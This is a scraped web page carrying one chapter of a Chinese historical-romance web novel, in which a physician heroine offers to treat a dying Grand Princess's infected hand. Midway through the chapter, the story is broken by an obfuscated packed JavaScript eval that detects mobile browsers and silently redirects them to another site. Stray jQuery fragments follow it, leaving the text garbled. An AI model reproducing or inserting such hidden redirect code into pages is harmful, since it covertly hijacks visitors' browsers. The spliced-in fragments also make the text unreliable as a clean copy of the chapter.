默认冷灰
24号文字
方正启体

38. 第 38 章

作者:喻香本书字数:K更新时间:
    长公主乃是今上最小的妹妹,青春正好的时候远赴乌尔骨和亲,蹉跎了好些年华,后来经了些周折才勉强回京。


    今上每每想起妹妹,面上无光,便遣她在京郊修养。


    长公主原也不是什么大病,不过是修剪花枝时被刺破了手掌。坏就坏在伤口截断了掌纹。


    伊在和亲时期很受了些磋磨,回京之后又不甚得意,总觉得自己于命途上要乖蹇一些,倒也不是不能忍。


    但此番伤到了自己最得意的、长长的地纹(生命线),颇有些“人到荣华寿益终”的意思,便勾连出心病来。


    只十来日,便一病不起了。


    长公主身体康健的时候门庭冷落,一病倒,宅子反而热闹起来,今个尚书媳妇来请安,明儿伯爵娘子来探问,后儿侯爵夫人来送药。


    是以当请柬送到翊王府上的时候,众人都吃了一惊。


    “没看错吗?”傅瞻从段敏行手中抢过请柬,正反面细细看了一遭,不可置信道,“我姑妈,我亲姑妈,请她,不请我?”


    “叙章,松手,”裴仪拍了拍他,像在安抚一只暴躁的大型犬,“兴许是让我去瞧病呢,请你做什么,你又不是大夫。”


    傅瞻猛一转身,“你也说病了,咱不去好不好?这几日太医院走马灯似的换人去,没一个治好的,你去就成了吗?”


    见她还在坚持,他暗自压低声音,阴恻恻道:“阿裴,你说太医院里怎么恰好都是酒囊饭袋呢?


    一点外伤而已,是真的治不好吗?”


    裴仪手一抖,觉得凉气从脚底直窜向天灵盖,直叫她哆嗦。


    最终裴仪还是坐上了去长公主府的车驾。拒绝病人求助的事情,她做不到,何况还是一位曾经有功于社稷的女病人。


    傅瞻气得不理她,如同一只鼓胀的河豚,却还是骑了马行在车边。“我不是送你,是去瞧姑妈,别多想了。”


    裴仪将车帘翘起一角,冲他笑了笑,“那便谢谢你了,叙章。”


    一连行了许久,方才到了大公主府。好清静的一块山水丛林,只是少人烟,路途也折腾,只怕是特意叫人不去打扰的。


    进了侧门,往里走了三重宅院,方才在重重的帘幕之后,见到了长公主。


    “姑妈,”傅瞻恭恭敬敬行了礼,“雁臣来看您了。”


    过了好一会儿,帘幕之后才传来响动,“侄儿,你且在外间坐一坐,请表姑娘进来叙话。”


    傅瞻微妙地翻了个叫人不易觉察的白眼,视线一路追随裴仪掀开帘幕,走到自己看不见的地方,心里竟然空落落的。


    且说裴仪在外间听姑侄对答,觉得长公主虽然说话有气无力,却也不像是临终之人衰颓虚弱。


    想来是心病为主,身病为辅。


    走到近前,见长公主一袭丝袍,半倚在软靠上,青丝半白。虽然已经青春不再,但一个人被砥砺出的光华气度,是很难被岁月掩盖的。


    她不是迟暮的美人,是迟暮的功臣,应当被永久铭刻在丰碑上的功臣。


    “表姑娘如何称呼?”长公主伸出了左手,欲拉她在床边坐下。右手包裹在黄色绸缎中,看不分明。


    裴仪不敢怠慢,忙上前行礼答道:“民女姓孟,小字佩仪。”


    长公主缓缓拉住她的手,掌心干燥温暖,一双饱经风霜的眼睛将她细细打量,“我这些子侄之中,最放心不下雁臣。


    那天肃王妃来,说‘世子只怕是动真心了’,我还不信,见到你的端正模样,我算是信了。”


    裴仪局促起来,帘外也传来傅瞻故意的咳嗽声。


    长公主轻声道:“你别理他,跟他爹一样的别扭性子,喜欢你也是不会明说的。”她轻轻拍拍裴仪的手,“雁臣从小就是明事理的好孩子;我一回来,京中却都说他孟浪、蛮横、不学无术,是个不成器的。姑娘,你想来也是知道他的,可千万莫听信了街谈闲言。”


    裴仪点点头,心道难得京中不是全然的眼瞎心盲,还有清醒人在。


    长公主长叹一口气,“秦芸是个没主意的泥菩萨,只晓得听太子摆布;韩牧桢又太利太强,须知快刀没有不伤人的;唯独你,有主意,又不全是刚硬,外圆内方、心正意诚,我很喜欢。”


    裴仪脑内飞速地思考着。


    肃王妃必定来过,说了许多赏梅的细节。只是自己那日表现得全然如同一个不甚高明的江湖骗子,长公主的评价从何而来?


    正疑惑着,便听她道:“肃王夫妇二人确是人中龙凤,只是眼高于顶,觉得世上自己最精明练达,能将旁人统统一眼看到底。”


    她眼中带着两三分凉意,自嘲地一笑,继续道:“殊不知世上多的是‘不得已’,雁臣如此,你也如此。只是雁臣当时年纪小,只能直接自污声名;你却棋高一着,知道浅浅披一层‘骗子’的皮,一来捎带着雁臣当个提不上筷子的‘情种’,二来好叫他夫妇自以为拆穿了你的把戏,得意得很呢。”


    裴仪脸上飞上一层红霞,连连告罪道:“情势所逼,长公主见谅。”


    “你是好孩子,”长公主抚了抚她单薄的肩膀,“旁人来了,都先看我还有几日好活,然后打量床头的金花瓶、玉如意,帕子都揉皱了也没一滴眼泪。


    只有你,见到我,还没说话眼睛就先红了。”


    裴仪再也忍不住,眼泪簌簌地落下来,心中似有千言万语,最后也只汇成一句:“您伤在哪儿了?或许我能治。”


    长公主轻轻叹了口气,揭开了包裹着右手的黄缎子手帕。


    一股难闻的气味弥散开来,那是腐朽、糜烂和草木枯萎的混合气味。


    伤口并不长,一寸不足,也不深,放一颗绿豆便到底了。只是横亘在贵人皎白的掌心,赫然截断了地纹,像一张通红的巨口,又似一只鬼祟的眼睛。


    再加上总是用药敷裹着,创口红肿翻卷,隐约有脓,看着叫人心中发寒。


    “不成了吧?”长公主无所谓地笑了笑,“今日请你来,原也不是为了瞧病。


    婆子我年过半百,此生遗憾太多。自知没多少时日,想到一件便要做一件,省得下去了还要心心念念的。


    给你下帖子确实冒昧,小姑娘莫笑话。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225789|195528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “能治。”裴仪评估了病情,飞快地给出两个字。


    长公主还沉浸在豁达的悲痛中,没留神听见这俩字儿,一时脸上的表情收不回来,渐变成有些滑稽的疑惑。


    “能治,”她重复了一遍,“只是人要吃些苦头,长公主可愿一试?”


    “阿裴,”帘幕外传来傅瞻的嗓音,沉沉的,听上去莫名像一声警告,“行事要有分寸,莫要唐突了姑母她老人家。”


    长公主听了便笑,揶揄道:“你看,雁臣还是护着你的。他从小心气儿高,最不耐烦等人,如今却一个人枯坐在外间听我俩闲话,可不就是不放心你吗?总不能是在心上惦记老婆子吧?”


    言罢,她背过身去,眼角泪光闪闪,“听说姑娘有过人之能,只是你要想好了,治了我,便是与‘治不好’的人为敌了。我入土半截儿,想来命数如此,不愿连累你,还是请回吧。”


    听了一番话,裴仪早已拭干眼泪,正色道:“我是个大夫,只管治病。


    窃以为咱们现在需要忧心的,是如何治、如何减轻疼痛、如何避免术后并发症、如何助您尽早康复,而不是与谁为敌、如何应对敌意、对本人而言是不是划算。


    毕竟仅仅专业上的事情,就已经很头疼了。


    我没多少本事,谋算不了太多,只晓得自己不是商人,人心也不能上称。”


    “阿裴!”傅瞻顾不得礼仪,三两步抢进来,“慎言!”


    裴仪根本不理他,只是看向长公主,问道:“请您自己决定,治不治?”


    长公主终究是落了泪,咬牙道:“婆子将命交给你,大夫请大胆治!”


    言毕着人抬了小案,写了张手札,上云深谢孟大夫,情出自愿,死生不论等等。


    只这么一刻,裴仪已经竹筒倒豆子似的吩咐管家去准备东西。一时之间,烧水的烧水,煮剪刀的煮剪刀,熬药的熬药,寂静已久的长公主府上,一时间热闹非凡。


    “咱车上有个小箱子,里面是七八个瓷瓶,还有纱布,快去取来,别碰碎了。”裴仪拿帕子裹了头发,正挽了袖子洗手,见他杵在一边,便招呼着让去取东西。


    傅瞻溯着声音回头望去,见她清瘦得如同一枝梅花,又脊梁笔直,刚烈得如同一枝梅花。两截儿手腕白生生的,自己一只手就能全然箍住的粗细;皮下是淡青淡紫的细细的血管,好似只消轻轻一掐,就能让她疼、让她哭、让她听话、让她永远只在自己的羽翼下生活。


    但他知道,正是这样一双看似细弱无力的手,曾从鬼门关前将自己拽回来,也曾给翊王府写药方,曾画下提取酒精的设备装置,更曾稳稳剖开丧尸的胸膛。


    想来阿裴是永远不可能听话的。她是高翔的鹰,是矫健的马,是山巅之上最洁白的一朵雪莲花。


    她有才华、有谋略、有原则、有底线,有许许多多珍贵的、讨人喜欢的品质,但永远不会袒露发自心底的温驯与乖巧。


    他默默地想着,挫败与骄傲交替占据上风,掌控占有与支持呵护轮番登场,心内似冰炭交煎。


    最后也只得板着脸去取箱子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)